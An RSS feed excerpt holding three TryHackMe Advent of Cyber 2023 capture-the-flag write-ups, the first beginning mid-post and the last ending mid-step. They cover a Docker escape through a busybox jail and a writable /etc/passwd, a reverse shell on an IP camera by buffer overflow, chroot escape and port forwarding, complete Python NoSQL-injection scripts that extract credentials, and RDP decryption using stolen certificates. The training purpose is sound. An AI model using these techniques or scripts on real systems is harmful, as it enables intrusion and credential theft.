src="https://cdn-images-1.medium.com/max/636/1*BUpTJzQt0xOZOuK3IbX8_g.png" /></figure><p>After our initial enumeration of each port, let’s go through and see what we can do within each one.</p><p>Going back to port 8075, we find that we are able to upload files using anonymous!! We can’t really do anything with this now, however let’s keep this in mind going forward.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/625/1*3Byn-HDqlq_pNRc34jQAkg.png" /></figure><p>In Vim, we can run some commands. If we use the hint provided within flag-2-of-4.sh, we see that we are able to get flag 2</p><p>:echo $FLAG2</p><p>We can bring up a file explorer with :Explore</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/633/1*-qff3P-UFcDdN8LIm72E4A.png" /></figure><p>This shows us some good information, including a “.dockerenv” file and we see a root folder, however it appears to be empty… This at least confirms that we are running within docker and can be thinking about how to perform an escape later on.</p><p>Enumerating through other folders shows us that the /tmp directory contains the ftp directory, as well as two executable files nano and vim</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/384/1*nZT8dhhV47ErDhp2to5L-Q.png" /></figure><p>Looking at the /tmp/ftp directory shows that this is the same directory that we had access to via port 8075! This could definitely prove useful to upload files to execute.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/384/1*0FIcgcEJcZKNY3ZobB6J0A.png" /></figure><p>Trying some more Vim commands, let’s see if we can get a shell with the :shell command:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/406/1*PY2-6H8P2V9DhnLgziXzFQ.png" /></figure><p>That doesn’t work, so let’s do some more enumeration through directories</p><p>Inside the /usr directory, there is a non-standard directory “frosty” that contains an executable “sh” file, however opening it up shows that it’s empty…</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/438/1*capr3Fl_xdwhGKsgx6dBRQ.png" /></figure><p>Checking out /etc shows we a lot of info, including that we are running in a busybox environment:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/328/1*c8EWrQ1rrMqUILWDkLD6vQ.png" /></figure><p>As well as being able to open passwd, which doesn’t appear to be listed as read only…</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/639/1*5SY0ZkcgJxIM-DaTiNYS-Q.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/629/1*GoWPXWQ-AsuKxRr-taPz1w.png" /></figure><p>So, we can remove the “x” in the root line and remove the password from the root user!</p><p>We can now check this in the FTP by seeing if we can use “root” without a password:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/317/1*UOXuuXWTc0nU9jChepXSPg.png" /></figure><p>Now, after some research into busybox, we find that it is a pretty limited environment which utilizes “ash” as its shell.</p><p>We can download busybox binaries from <a href="https://busybox.net/downloads/binaries">https://busybox.net/downloads/binaries</a></p><p>If we download “busybox_ASH”, we can utilize FTP to upload it</p><p>FTP still doesn’t let us use chmod or explore outside of the FTP folder, so we need to go back into Vim</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/452/1*QeZg3AZP8yg8E1TQ1AyoYQ.png" /></figure><p>We can now go into /usr/frosty/sh and read the contents of the “ash” binary we just uploaded into the already executable “sh” file</p><p>First we want to use the following Vim command to go to the top of the file and delete all lines that might be present (which is currently nothing, but it’s a good practice)</p><p>ggdG — deletes all lines<br> :r/tmp/ftp/ash</p><p>And we should now see that we have imported the contents of /tmp/ftp/ash into the /usr/frosty/sh file</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/635/1*Ljj3Kb4RJ_l1AGuEKez1eA.png" /></figure><p>We know this is a linux executable by “ELF” being at the top of the file.</p><p>Now, this imported a blank line at the top that needs removed, and we can do this by typing “dd” on that line (in command mode) and then we can save the file with “:w”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/633/1*PPWB12amSb87z600QDBnSg.png" /></figure><p>We can now set our shell environment to /usr/frosty/sh with “:set shell=/usr/frosty/sh”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/266/1*3ryJeietvjvUILN2JUxBuA.png" /></figure><p>And then we can use “:shell” to verify that we have a working shell environment</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/131/1*Fr-Rv47qfIOpTTZnVDj79w.png" /></figure><p>We can try to run some standard commands, but find that we are pretty limited. Running “$PATH” will show us information, and running “help” will show us the builtin commands available to us:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/634/1*XdEkrGo9yeLe2cNlII7GJw.png" /></figure><p>If we go back to the busybox website, we can download a plethora of binaries that we can use within our new ash shell</p><p>Thinking of some useful shell commands, we can upload a few, or you can go all out and just upload all of the binaries. We’ll just pick a few useful commands for basic enumeration and potential docker escapes, since we know we are inside a busybox docker environment</p><p>Use FTP to upload cat, chmod, df, env ,fdisk, grep, ls, mkdir, mount , mv, whoami</p><p>In Vim:Explore, go back to the ftp folder and we see that all of our binaries are there but aren’t executable yet</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/502/1*GZIu0CgbQR0_p9D1l5BTIQ.png" /></figure><p>If we look in the /tmp directory, we see that we have “vim” and “nano” as executable files. We know that port 8095 is running nano. We don’t really need nano at the moment, so let’s do something useful with that executable and turn it into “whoami” and see if we can figure out who we are whenever we run the shell we got through /usr/frosty/sh.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/347/1*d4c7EZ49cUiyScvOO_IAnw.png" /></figure><p>Using the same process as above, read the contents of whoami into /tmp/nano</p><p>Now, whenever we open our shell, we can run /tmp/nano and will actually run the whoami binary that we read into it:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/153/1*WAolSULttF7VZtFfp1UQtQ.png" /></figure><p>Hmm… we only have “ubuntu” user access currently, so that’s not super helpful… For curiosity’s sake, let’s check our nano port and see what happens</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/303/1*iTvOS1kGTbs_tVoaxQitIA.png" /></figure><p>We can make the assumption that port 8065 is attached to the /usr/frosty/sh since that is the only shell that we have operating at the moment</p><p>We still can’t run “whoami” but if we run the “/tmp/nano” as before to see who we are, we now see that it is showing “unknown uid 0” however, who is typically uid 0?? ROOT!!</p><p>Let’s confirm this by going back to VIM and putting the chmod binary into /tmp/nano to see if we can make all of our uploaded binaries into executable files</p><p>In Vim:Explore read contents of “/tmp/ftp/chmod” into “/tmp/nano” just like before</p><p>Now, we can try running this in our shell from within VIM, however it says it’s not permitted</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/408/1*QB2C8ezgQSja08Mmzd_EPQ.png" /></figure><p>That’s not unexpected since we’re only the ubuntu user, so let’s go to our 8065 shell and see if we can do it</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/256/1*NRFk1lHB6nErxU99xUWyjw.png" /></figure><p>That seemed to work, at least it didn’t produce an error, so let’s confirm in VIM file explorer that it’s executable now</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/423/1*cuxZC8hapPNwXYrW5UrM6w.png" /></figure><p>So, we know that we can now make our binaries executable from within our port 8065 shell!!</p><p>If we run /tmp/ftp/ls, we confirm that it runs as expected:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/419/1*kqmA7boA_T6xfeAw_7HKiw.png" /></figure><p>Let’s check out that root directory now:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/212/1*jI1ZUz2iGwyI2pFd37m6Cw.png" /></figure><p>Okay, now we’re getting somewhere!! We can try to use cat, however since that binary doesn’t exist, we don’t get any results:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/268/1*Vxr4X6VsOldtU6QkWU3IOA.png" /></figure><p>Let’s go ahead and use our chmod-a-al-nano binary and make all of our uploaded binaries executable. We can do each one individually, or just go wild and use “/tmp/nano 777 /tmp/ftp/*” and get all of them (and everything else in that directory, but oh well)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/474/1*Nl8d-wEMVzQPBXYp4pjHWQ.png" /></figure><p>Now, let’s try to read the flag 3 file again:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/323/1*5owp_LoUSQ_RgwZfAnIWng.png" /></figure><p>Okay, now we’re getting somewhere!! We can keep the binaries in the ftp folder, or, to make it easy, we can move them all into the /bin directory to make it a bit easier to work with</p><p>Use /tmp/ftp/mv to move all binaries into /bin</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/349/1*OcXVzYJdY13P0PjkDzpsEw.png" /></figure><p>Now, we can more easily move around our ash shell and work on breaking out of the busybox jail!!</p><p><a href="https://juggernaut-sec.com/docker-breakout-lpe/">https://juggernaut-sec.com/docker-breakout-lpe/</a></p><p>We know that we are currently the root user within our docker environment</p><p>If we run “fdisk -l” we can list all of the available devices and confirm that we are within a privileged container</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/724/1*LhaypFvenaFgBoynMosRlw.png" /></figure><p>We only have one device listed, so that makes our choice easy! We can now use the “mkdir” and “mount” commands that we uploaded earlier and make a new directory to attempt to mount the host filesystem into</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/638/1*MuwuLH_VNQ-Q_reDpwjDeA.png" /></figure><p>So, we now have the host filesystem mounted, and we are able to interact with it as the root user!!</p><p>If we go into the /root directory now, we can see that we have both flag-4-of-4.txt and yetikey3.txt!!</p><p>We can cat these two files our for our last two flags!!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/679/1*IE97j2bixNEFD3sBsBBVEQ.png" /></figure><p>Now, there are more *elegant* ways of completing this challenge, however this got the job done!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=d6986b6f8c55" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[THM Advent of Cyber 2023: Side Quest 2]]></title>
            <link>https://medium.com/@5h33pd06/thm-advent-of-cyber-2023-side-quest-2-99c2ab42b3f4?source=rss-7e499c3817c0------2</link>
            <guid isPermaLink="false">https://medium.com/p/99c2ab42b3f4</guid>
            <category><![CDATA[buffer-overflow]]></category>
            <category><![CDATA[nosql]]></category>
            <category><![CDATA[mongodb]]></category>
            <category><![CDATA[advent-of-cyber-2023]]></category>
            <category><![CDATA[tryhackme-walkthrough]]></category>
            <dc:creator><![CDATA[Matt (5h33pd06)]]></dc:creator>
            <pubDate>Fri, 05 Jan 2024 22:43:07 GMT</pubDate>
            <atom:updated>2024-01-09T16:41:35.449Z</atom:updated>
            <content:encoded><![CDATA[<p>This challenge is found by conducting additional Buffer Overflow from the 2023 Advent of Cyber Day 6 challenge.</p><p><a href="https://tryhackme.com/jr/armageddon2R">TryHackMe | Cyber Security Training</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/755/1*_rk6dGhHlsTSg0WZPhOwYQ.png" /></figure><p>We start off by running some initial enumeration within NMAP. I like using the nmapAutomator.sh script, so we will run</p><pre>nmapAutomator.sh -H &lt;IP_ADDRESS&gt; -t all<br></pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/358/1*QZYNKhazBhTqdG0n2JWC5Q.png" /></figure><p>While that scan is running, we can take a look at the header graphic for this room and get an idea at what we might be looking at. It looks like there is a camera, MongoDB (the green leaf), and maybe some buffer overflow.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/249/1*_2rBqdEATkm-ZCG6jh-ecg.png" /><figcaption>Open Ports</figcaption></figure><p>After our scan is finished, we can look at the 8080 and 50628 ports. The 8080 page takes us to a 403 screen:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vrE7Iut3uoZHtA06GIzyvQ.png" /></figure><p>The nmapAutomator scan tries to do some deeper enumeration for us and finds the following directories and pages we can navigate to:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/454/1*h486mfziaCGb4A0iid_0CQ.png" /></figure><p>However, we can’t access these due to being external. It looks like we need to find a way into the network and access this site locally.</p><p>The nmapAutomator scan provides some information for port 50628, which makes reference to a NC-227WF-HD-720P device</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/854/1*uiqHaNcd8QcbVv4uUoeSQw.png" /></figure><p>We can visit that page and see that it is for a Trivision Wireless Streaming Video IP Network Camera</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/705/1*CvaM1-HQQm9CRZJXiJ_R3g.png" /></figure><p>Some online searching leads us to <a href="https://no-sec.net/arm-x-challenge-breaking-the-webs">https://no-sec.net/arm-x-challenge-breaking-the-webs</a></p><p>This site explains how to perform a buffer overflow with this camera model and then inject shell code to get a reverse shell into the system.</p><p>We can use <a href="https://shell-storm.org/online/Online-Assembler-and-Disassembler">https://shell-storm.org/online/Online-Assembler-and-Disassembler</a> to help us change the exploit script example to include our attack IP address in ARM assembly.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*MUVcwLEFczDQ4mdLeRBjjw.png" /></figure><p>We need to change the “HOST” IP address on line 3, the “LHOST” IP address on 5, and then put our shell code containing the LHOST IP address into line 27, and then finally put the HOST IP address into line 52. We can then run this exploit, after using chmod +x to make it executable, and get a reverse shell back on our attack machine.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1006/1*Jt9ALhbEvLQaqZ7BTJqAtg.png" /></figure><p>We find that this is a pretty limited shell environment, however we can use some commands like “cd”, “ls” and “cat”. If we list hidden files, we see a .emux directory, which contains a file. We can read the contents of that file and see that it is calling a script that sets a password in /var/etc/umconfig.txt. If we try this username and password in the camera login page, it doesn’t work, so if we read the contents of the umconfig.txt file, we see that a username and password exist that we can try, which then provides us access to the camera and our first flag!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/692/1*NYc-GXVxGTS3-5rrjxIAaQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/676/1*zmF4ww0aKHekPvcSBK_fJA.png" /></figure><p>Now, from within our shell, we can enumerate some more but we can’t find the 2nd flag.</p><p>If we run “ps” we get a list of processes and see a process calling /root/test-eth0.sh</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/659/1*XgfOVb3dRvGzXzcA3lkcIw.png" /></figure><p>If we look at the /root directory however, we see that this file doesn’t exist, and reading “.ash_history” doesn’t provide us with anything useful either</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/564/1*VzV2dYtf0BsnFf1fBJORBg.png" /></figure><p>We do see another process which is calling “chroot”, so this should clue us in to trying to do a chroot jail escape.</p><p><a href="https://book.hacktricks.xyz/linux-hardening/privilege-escalation/escaping-from-limited-bash#root--proc">https://book.hacktricks.xyz/linux-hardening/privilege-escalation/escaping-from-limited-bash#root--proc</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/644/1*G7ikO0-H_vFvSPtLVwpGPQ.png" /></figure><p>The only issue is “chroot” isn’t available on the system currently, so we need to go to busybox.net and download the busybox binary to be able to run our normal commands</p><p><a href="https://busybox.net/downloads/binaries/1.21.1/">Index of /downloads/binaries/1.21.1</a></p><p>We can host them locally on our attack machine with a python http server, and then download it onto the remote machine. I made a directory called “busy” and then used curl to download the busybox binary into it, and then used chmod +x to make it executable</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/650/1*LSNOUm_yOhjTyn-BGZ5qXw.png" /></figure><p>From here, I can run chroot /proc/1/root</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/601/1*86PMVEzO3XpTYUtsQir9aQ.png" /></figure><p>And I can view the contents of test-eth0.sh</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/551/1*cr5o_rItiLqBA-l8ycLsAA.png" /></figure><p>So, now that we’ve escaped the chroot jail, let’s check our processes again with “ps -ef”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*TlfVVhY37tjNISxJdFBhhg.png" /></figure><p>We see more processes calling the /root/test-eth0.sh script, and the parent process of them is “421” which is “dcron”. If we look at the crontabs folder, we see one called “root” which contains the jobs we’ve seen calling /root/test-eth0.sh.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/517/1*1LDdNp7lVbFdAt2McU98sw.png" /></figure><p>We also see that chroot is being used and pointing to /emux/TRI227WF/rootfs. If we try to poke at the webpage from earlier with curl, it doesn’t work, however if we run it as “chroot /emux/TRI227WF/rootfs curl” then we get the following</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/658/1*bSs24Kizu8h3OT2BOzRtNQ.png" /></figure><p>So, we’re now getting a 401 Unauthorized message and not our 403 from earlier. Now, we need to figure out how to gain access to the actual webpage.</p><p>Let’s use socat to set up a port-forward that allows us to access the internal web app using port 50628 forwarded from within the camera.</p><p>Okay! Now we have access to the login page, however we still need to bypass an additional login.</p><pre>pkill webs ; socat -v -v tcp-listen:50628,fork,reuseaddr tcp:10.10.2.129:8080</pre><p>When we go to the page now, we get presented with a login prompt where we can use the username and password from the camera login, which then redirects us to the following login page for the Cyber Police internal web app:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZaezkBN45HFCeNzC-YsLgQ.png" /></figure><p>Typing in a username of “test” and password of “password” gets us</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/536/1*HBKCXh53oINYJ7c3grTU8g.png" /></figure><p>Now, we can start trying to play around with figuring out what kind of payload we need to send to either bypass the authorization, or bruteforce it. Trying various SQL injections don’t seem to work.</p><p>Let’s fuzz some more now that we have the internal access.</p><p>We can run the following to fuzz the directories</p><pre>ffuf -u &#39;http://admin:Y****************n@&lt;IP_ADDRESS&gt;:50628/FUZZ&#39; -w /usr/share/dirbwordlists/common.txt</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/957/1*UOHVe7WX6vzu5qrWKXdZHw.png" /></figure><p>We can fuzz some more in the different directories, and come up with “composer” inside of “vendor”. If we look at :50628/vendor/composer/installed.json, we can find some interesting information. We see that mongodb is installed on here, so gives a clue to start some NoSQl injections</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/624/1*hj90lVTrHUeOHGvMFAXyZQ.png" /></figure><p>If we capture our traffic in Burp</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/965/1*Gt23XECrfzngKRNyNhPxcg.png" /></figure><p>And then send it to Repeater, we can change the username and password to send regex requests</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*yq6lLzlqZFTgWVTVIff7Xg.png" /></figure><p>And then we can click on “Follow redirection”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*oB7aP_uCMTtEWcvehKDYbw.png" /></figure><p>And we see that we get logged in as a user named “Frostbite”</p><p>Now, we can play around with this and send the request to Intruder and then use a Simple List for Payload consisting of a-zA-Z with the Redirection option set to “Always”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/807/1*Ob8s1b0bQkpnkMoxSFkhwA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/549/1*ytv0ytDtD3cCrNplvC0MaA.png" /></figure><p>Then, after the attack runs, we can scroll through the results under “Response 2” and see that we have received several more usernames</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rzRTlYmdnKQnmg4CL1XnMA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lyvf1mqpB9xmrrO9w9jR9A.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*A0LpxmlzJmKBNmuHWSqb6Q.png" /></figure><p>Now, this is all good and well, however, we don’t know how many users there are, and none of the ones that have come up provide us anything useful. Let’s write a script to enumerate all of the users.</p><pre>import requests<br>import string<br><br>target_url = input(&quot;Enter the full URL including protocol and port: &quot;)  # Full URL of the login page<br>charset = string.ascii_lowercase  # Generating a string containing lowercase letters<br><br># Function to get the next characters for the username<br>def get_next_chars(start, capital=False):<br>    usernames = []  # List to store discovered usernames<br>    for char in charset:  # Looping through each character in the lowercase ASCII set<br>        if capital:  # Checking if capital flag is set<br>            char = char.upper()  # Convert the character to uppercase if the flag is set<br>        data = {<br>            &quot;username[$regex]&quot;: f&quot;^{start}{char}&quot;,  # Crafting the MongoDB regex query for username<br>            &quot;password[$ne]&quot;: &quot;notvalid&quot;  # Crafting the MongoDB regex query for password<br>        }<br>        headers = {<br>            &#39;Content-Type&#39;: &#39;application/x-www-form-urlencoded&#39;,<br>            &#39;Authorization&#39;: &#39;Basic &lt;YOUR B64 ENCODED AUTHORIZATION HERE&#39;,<br>        }<br>        cookie_req = requests.get(target_url, headers=headers)<br>        cookies = cookie_req.cookies.get_dict()<br>        cookie_req = requests.get(target_url, headers=headers,cookies=cookies)<br><br>        print(data)  # Printing the data being sent in the POST request<br>        r = requests.post(target_url, data=data, headers=headers, cookies=cookies)  # Sending a POST request to the target URL with the crafted data, headers, and cookies<br>        if &quot;Invalid username or password&quot; not in r.text:  # Checking if the response does not contain the error message<br>            result = get_next_chars(start + char)  # Recursively calling the function to get the next characters<br>            if len(result) == 0:  # If no further characters are found<br>                usernames.extend([start + char])  # Add the discovered username to the list<br>            else:<br>                usernames.extend(result)  # Add the discovered usernames from the recursive call to the list<br>            print(usernames)  # Printing the updated list of discovered usernames<br>    return usernames  # Returning the list of discovered usernames<br><br># Initiating the recursive username discovery process starting with an empty string and capital letters flag set to True<br>usernames = get_next_chars(&quot;&quot;, capital=True)<br><br># Print usernames to the screen<br>print(usernames)<br><br># Writing usernames to a text file<br>with open(&#39;usernames.txt&#39;, &#39;w&#39;) as file:<br>    for username in usernames:<br>        file.write(username + &#39;\n&#39;)</pre><p>This script will cycle through every permutation of letters using a-zA-Z in each spot until it finds a match and then go to the next spot and begin again. It will then continue to iterate through until it exhausts the possible combinations and determines it has found a username. It will then go back down to each proceeding character to make sure that there aren’t any other usernames that share characters (e.g. Test, Tester, Testing, TestTest)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/675/1*xRGhP-N91XLUd4NYj6T2Xg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/594/1*ajPCxNQx92gH0DBrXKX1_w.png" /></figure><p>Once all usernames are found, it will print them on the screen and then save them to a file called usernames.txt</p><p>Now, for some reason, putting the list into Burp Intruder produces odd results. If we use Repeater however, we can manually go through the usernames and achieve a valid result, making sure to use “&amp;password[$ne]=” and then anything that is not a valid password. Then, click on “Follow redirection” to get the result.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*BnFzkCcL_jJ27fT30fDd7w.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*FUeJZwFs_VYYP5e_nmaaig.png" /></figure><p>Now, if you want to know what the actual user’s password is, we can use a similar script as above to enumerate the passwords.</p><pre>#!/usr/bin/env python3<br><br>import requests<br>import string<br><br>target_url = input(&quot;Enter the full URL including protocol and port: &quot;)  # Full URL of the login page<br><br># Creating a character set containing lowercase, uppercase, numbers, and special characters<br>charset = string.ascii_lowercase + string.ascii_uppercase + string.digits + string.punctuation<br><br>def test_password(username, start, max_length):<br>    passwords = []<br>    if len(start) &lt;= max_length:  # Check if the current password length is within the maximum allowed length<br>        for char in charset:<br>            data = {<br>                &quot;username&quot;: username,<br>                &quot;password[$regex]&quot;: f&quot;^{start}{char}&quot;,  # Crafting the MongoDB regex query for password<br>            }<br>            headers = {<br>                &#39;Content-Type&#39;: &#39;application/x-www-form-urlencoded&#39;,<br>                &#39;Authorization&#39;: &#39;Basic &lt;YOUR B64 ENCODED AUTHORIZATION HERE&#39;&#39;,<br>            }<br>            cookie_req = requests.get(target_url, headers=headers)<br>            cookies = cookie_req.cookies.get_dict()<br>            cookie_req = requests.get(target_url, headers=headers,cookies=cookies)<br><br>            print(data)  # Printing the data being sent in the POST request<br>            r = requests.post(target_url, data=data, headers=headers, cookies=cookies)  # Sending a POST request to the target URL with the crafted data, headers, and cookies<br>            if &quot;Invalid username or password&quot; not in r.text:<br>                result = test_password(username, start + char, max_length)  # Recursively calling to get the next characters<br>                if len(result) == 0:<br>                    passwords.extend([start + char])<br>                else:<br>                    passwords.extend(result)<br>                print(passwords)<br>    return passwords<br><br># Reading usernames from a text file<br>usernames_file = &quot;usernames.txt&quot;  # Replace with the path to your usernames file<br>with open(usernames_file, &#39;r&#39;) as file:<br>    usernames_to_test = [line.strip() for line in file.readlines()]<br><br>max_password_length = 12 # Maximum password length<br><br>passwords = []<br>for username in usernames_to_test:<br>    result = test_password(username, &quot;&quot;, max_password_length)<br>    passwords.extend(result)<br><br>print(passwords)</pre><p>This script will use the usernames from the usernames.txt file we created and iterate through each one and find the passwords. You can also alter the script to use just one username and find the password for the one account that we used in the last Burp Repeater. This script will continue to run until the max_password_length is achieved, however it will start to append $ after the final correct character, so you will know when it has been found.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*FEN0Pt9ZUL7pMBS-eQo0rA.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=99c2ab42b3f4" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[THM Advent of Cyber 2023: Side Quest 1]]></title>
            <link>https://medium.com/@5h33pd06/thm-advent-of-cyber-2023-side-quest-1-7f3a7fb5d6be?source=rss-7e499c3817c0------2</link>
            <guid isPermaLink="false">https://medium.com/p/7f3a7fb5d6be</guid>
            <category><![CDATA[advent-of-cyber-2023]]></category>
            <category><![CDATA[side-quest]]></category>
            <category><![CDATA[tryhackme-walkthrough]]></category>
            <category><![CDATA[wireshark]]></category>
            <dc:creator><![CDATA[Matt (5h33pd06)]]></dc:creator>
            <pubDate>Thu, 28 Dec 2023 22:53:58 GMT</pubDate>
            <atom:updated>2023-12-28T22:53:58.536Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YhAm97RE0HYyJB_lIS_bSw.png" /><figcaption>AoC 2023: SQ1</figcaption></figure><p>Starting things off with the Side Quests comes the “hard” difficulty room “The Return of the Yeti”.</p><p>This room was found by searching out 3 pieces of a QR code that were scattered among various social media platforms (Discord, X, and LinkedIn) and then one given to us on the main Side Quest challenge page.</p><blockquote><a href="https://tryhackme.com/room/adv3nt0fdbopsjcap">https://tryhackme.com/jr/adv3nt0fdbopsjcap</a></blockquote><p>After downloading the task file, we are given a .pcapng file to examine. Opening it up in Wireshark shows that it appears to be a wireless transmission that we have intercepted, so we need to start of by finding the SSID and then the WiFi password.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ssOWXyHutZCPvxsyUqQT3A.png" /></figure><p>The SSID is an easy first flag (maybe this room isn’t so hard afterall… haha)</p><p>Next, we can use aircrack-ng to get the password, however we need to convert the .pcapng to a .pcap file. This can easily be done by using</p><blockquote>tshark -F pcap -r VanSpy.pcapng -w vanspy.pcap</blockquote><p>Next, we can then use aircrack-ng with the wordlist of rockyou to determine the password</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9uoRG-r2aCoA1NQ34R857A.png" /></figure><p>We now have our next flag!</p><p>For the third flag, we need to find the “suspicious tool … used by the attacker to extract a juicy file from the server”. To dive into the file further, we need to first add the WiFi password into Wireshark to start decrypting the traffic</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/745/1*Xn1LFDFnwFpV7NsungZO6Q.png" /></figure><p>Now we can examine the wireless transmission. We can go to Statistics → Conversations to see what is sending the most data.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*O_iaxK06LKhy_5hquzYrSQ.png" /></figure><p>We see that communication with port 3389 is the most, followed by port 4444.</p><p>If we right click on the top line for port 3389 and apply as a filter on the stream id</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Mz1f-KVd5WMSf-hKa7wbJQ.png" /></figure><p>We can then use Ctrl+Alt+Shift+T to follow the TCP stream, however it’s currently encrypted</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*sZDTi8ilGUdPftyRkME96g.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_Zt-8kXwwIocOYQaCYOheA.png" /></figure><p>If we go back and look at the next port, 4444, we should recognize that as being the default port that Metasploit uses for its listeners. If we filter for that and then follow the TCP Stream, we get a wealth of information! We see that they used mimikatz to extract the RDP certificate. Scrolling down, we see that they then used PowerShell to convert the contents of the .pfx file to base64.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*HGheAFjJdNgid9113ggocg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*e6ARyXG5FHu4ETtxHmUmMQ.png" /></figure><p>We can use PowerShell to decode the base64 and recreate the .pfx file:</p><blockquote>try {</blockquote><blockquote># Replace this with the Base64 string</blockquote><blockquote>$base64String = “MI{SNIP}fQ”</blockquote><blockquote># Replace this with the desired .pfx file path and name</blockquote><blockquote>$pfxFilePath = “C:\&lt;PATH&gt;\&lt;FILENAME&gt;.pfx”</blockquote><blockquote># Replace this with the password for your .pfx file</blockquote><blockquote>$passphrase = “mimikatz”</blockquote><blockquote># Decode the Base64 string and write it to a .pfx file</blockquote><blockquote>$decodedBytes = [System.Convert]::FromBase64String($base64String)</blockquote><blockquote>[System.IO.File]::WriteAllBytes($pfxFilePath, $decodedBytes)</blockquote><blockquote># Output success message</blockquote><blockquote>Write-Host “PFX file has been saved to $pfxFilePath”</blockquote><blockquote>}</blockquote><blockquote>catch {</blockquote><blockquote>Write-Host “An error occurred: $_.Exception.Message”</blockquote><blockquote>}</blockquote><p>Then, we can use openssl to create the private key file (using the default password “mimikatz”:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/670/1*I-MXLn_L8LTVpsAXtk0JSg.png" /></figure><p>Now, we can take that new private key file and decode the RDP traffic in Wireshark.</p><p>We can go back and filter for the RDP stream on 3389 and then right click on one of the TLSv1.2 lines, and go to Protocol Preferences → Transport Layer Security → Open 